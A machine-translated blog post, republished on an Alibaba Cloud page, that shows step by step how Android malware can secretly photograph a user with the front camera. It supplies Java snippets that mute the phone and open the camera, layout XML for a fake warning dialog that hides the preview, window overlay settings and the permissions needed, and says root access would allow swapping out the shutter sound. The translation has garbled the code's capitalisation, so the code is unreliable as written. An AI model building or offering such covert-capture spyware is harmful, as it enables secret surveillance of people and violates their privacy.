Android security issues mute photo and be photographed

Source: Internet
Author: User

Before I wrote some Android phone root security issues (see the end of the article list), in fact, I think I wrote it, today to defragment the hard disk, found a year ago wrote a piece of code, so today we will discuss together.

Note: This is not about multi-NB technology, but the people who want to know about the state of the Android risk.

Guide:

This article describes how the so-called silent Photography is implemented (which is, of course, a malicious software, but not the user), and how the user himself was photographed by the malicious software

Since Iteye is not allowed to steal and clap together, so ... Mute photo, everybody understand, mute photo? It's not that ...

Today's theme is silent photography with being photographed

Of course, the "being photographed" here does not mean that you are holding a mobile phone in the subway to the female students under the skirt of girls (seemingly Japanese like to do this kind of thing, Baidu's own news)

This refers to being photographed: you play the game, suddenly the front camera is opened by malicious application, then click, then ...

To implement these features, unfortunately, there is no root permission to

Let's do the following.

First of all, silent photography.

In fact, that is silent photography, how to achieve? Of course, the first mute and then take pictures ... Finally, remember to restore the status before the mute.

Some phones directly mediate the camera shutter volume, but there is no generic API, it seems that the phone is very small (third-party ROM may have)

Another option is to turn your phone into silent mode and take a picture. But it is not ideal, some mobile phones although the mute mode, but the shutter is not muted, just like the alarm clock is not muted.

There are some other ways to mute it, so don't say it here. How to turn your phone into mute? This is no technical content, we can Baidu ...

Maudiomanager = (Audiomanager) Getsystemservice (Context.audio_service); Maudiomanager.setringermode ( audiomanager.ringer_mode_silent);

Of course, you'd better record the user's previous pattern.

int ringermode = Maudiomanager.getringermode ();

So some of the phone's mute photo is done, such as I use the G14 (Android 2.3) can achieve the purpose of mute (so say htc phone fuck, now and dislike HTC)

Let's talk about being photographed.

Be photographed, I will choose the front camera, play mobile phone when the general people do not look at the phone butt, because HTC

First, the Android camera.

The generic API for the front-facing camera starts at 2.3 and needs to be called by reflection before 2.2 and before, but there are few Android phones with front-facing cameras.

Here we are based on the 2.3 as a demonstration

Steps:

0. Camouflage

1. Open the front-facing camera

2. Mute + photo + exit

3. Save

First look at how to call the front-facing camera (of course, you have to have a front-facing camera)

Mcamera = Opencamera (camerainfo.camera_facing_front);  Public Static Camera Opencamera (int  which) {    return  camera.open (which);}

If the camera is not NULL, then it is successful.

The key is the camouflage, Android system, the call camera must have a preview screen to line, of course, this is also for security

So the photo must have a window, that is, when you play the game, suddenly pop up a window to give you a big head sticker

Users see the preview screen, the Idiot knows he was black, so the virus can not be so silly, it will put on their own coat

I made a rough coat to show you.


Of course, this coat is rotten, the real virus will do a very delicate, and more common coat (so the success rate will be high, if the user's phone has no stock software, and I pop a dialog box, users will be silly also know that they poisoned)

The following action, whether the user clicks OK, cancel or Back button, the virus will take a photo and then save, and then ...

Camera.xml the corresponding code

<?xml version="1.0"encoding="Utf-8"? ><framelayout xmlns:android="http://schemas.android.com/apk/res/android"android:orientation="Vertical"Android:layout_width="300DP"Android:layout_height="150DP"Android:background="@color/canvas_background"> <LinearLayout android:layout_width="wrap_content"Android:layout_height="wrap_content"> <Surfaceview android:layout_width="wrap_content"Android:layout_height="wrap_content"Android:id="@+id/alert_camera"/> </LinearLayout> <include layout="@layout/fake"/></framelayout>

Fake.xml the corresponding code

<?xml version="1.0"encoding="Utf-8"? ><linearlayout xmlns:android="http://schemas.android.com/apk/res/android"Android:layout_width="fill_parent"Android:layout_height="fill_parent"android:orientation="Vertical"> <!--title--<LinearLayout android:layout_width="fill_parent"Android:layout_height="wrap_content"Android:layout_weight="1"android:layout_gravity="center_vertical"Android:background="@color/canvas_background"> <ImageView android:layout_width="wrap_content"Android:layout_height="wrap_content"Android:layout_margin="10DP"android:src="@drawable/ic_dialog_alert"/> <TextView android:layout_width="wrap_content"Android:layout_height="wrap_content"Android:layout_margintop="10DP"Android:layout_marginbottom="10DP"Android:id="@+id/alert_title"Android:text="@string/alert_title"android:textsize="22SP"> </TextView> </LinearLayout> <!--line-to-<!--message--<LinearLayout android:layout_width="fill_parent"Android:layout_height="wrap_content"Android:layout_weight="1"android:layout_gravity="center_vertical"Android:background="@color/canvas_background"> <TextView android:layout_width="wrap_content"Android:layout_height="wrap_content"Android:layout_margin="10DP"Android:id="@+id/alert_message"Android:text="@string/alert_message"android:textsize="18SP"> </TextView> </LinearLayout> <!--line-to-<!--button-to-<LinearLayout android:layout_width="fill_parent"Android:layout_height="wrap_content"android:orientation="Horizontal"Android:layout_weight="1"Android:background="@color/button_background"> <Button android:layout_width="wrap_content"Android:layout_height="wrap_content"Android:layout_weight="1"Android:id="@+id/alert_ok"Android:text="@string/ALERT_OK"/> <Button android:layout_width="wrap_content"Android:layout_height="wrap_content"Android:layout_weight="1"Android:id="@+id/alert_cancel"Android:text="@string/alert_cancel"/> </LinearLayout></LinearLayout>

Ic_dialog_alert.png is the exclamation mark displayed, under the Frameworks/base/core/res, copy out one on the line

The above is just the layout code, our activity also needs to do some settings, such as in manifest to set the theme to

Android:theme="@android: Style/theme.dialog"

In the OnCreate to set the following properties, I will not explain

= GetWindow (); Window.setformat (pixelformat.translucent); Window.settype (WindowManager.LayoutParams.TYPE_ System_alert); Window.setflags (WindowManager.LayoutParams.FLAG_FULLSCREEN,        WindowManager.LayoutParams.FLAG_ fullscreen); Setcontentview (R.layout.camera);

Here, the key points are all done.

You also need to configure some permissions in manifest

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />< Uses-permission android:name="android.permission.CAMERA" /><uses-permission Android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

Normal photo Process code online A lot, I also do not post, finally attached to the Colors.xml file bar

<resources>      <color name="button_background"> #ffffff </color>    <color name="canvas_background"> #ffffffcc </color></resources>  

Finally, if you have root privileges, then the virus can replace the audio files of the shutter sound, or the database stores the URI that points to the shutter sound, so that you can completely achieve silent photography

Of course, you want to mute photos of others, you may also be silent photos, self-weight

Android security issues mute photo and be photographed

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.